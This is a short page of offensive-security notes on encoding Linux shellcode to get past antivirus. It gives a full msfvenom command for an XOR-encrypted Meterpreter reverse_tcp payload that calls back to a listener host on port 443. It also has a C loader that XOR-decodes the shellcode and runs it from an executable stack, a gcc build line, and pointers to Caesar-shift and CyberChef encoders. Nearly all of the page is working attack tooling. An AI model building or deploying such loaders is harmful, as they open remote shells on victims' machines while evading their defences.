Linux Shellcode Encoders

Bypass Linux AV with C

C Payloads

When you're done building your payload make sure the processor architecture matches the target environment

gcc -o payload.out linux_payload.c -z execstack

XOR Encoding

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

//sudo msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=443 -f c --encrypt xor --encrypt-key R

unsigned char buf[] =<PAYLOAD>;


int main (int argc, char **argv) 
{
	char xor_key = 'R';
	int arraysize = (int) sizeof(buf);
	for (int i=0; i<arraysize-1; i++)
	{
		buf[i] = buf[i]^xor_key;
	}
	int (*ret)() = (int(*)())buf;
	ret();
}

Ceasar Shift

Ceasar Shift Template

CyberChef Encoder Shortcut

Ceasar Shift Link

Shift - 2 By Default

XOR Link

XOR "R" By Default

Last updated

Was this helpful?